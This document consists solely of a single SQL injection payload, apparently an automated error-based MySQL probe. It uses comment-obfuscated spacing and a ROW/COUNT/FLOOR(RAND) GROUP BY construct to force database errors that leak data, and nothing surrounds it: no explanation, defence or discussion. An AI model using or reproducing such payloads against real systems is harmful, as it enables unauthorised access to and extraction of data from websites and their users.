1′),(SELECT/**/4236/**/FROM/**/(SELECT/**/ROW(4236,8533)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(4236=4236,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9300/**/UNION/**/SELECT/**/9760/**/UNION/**/SELECT/**/1586/**/UNION/**/SELECT/**/10447)a/**/GROUP/**/BY/**/x))s)– – 1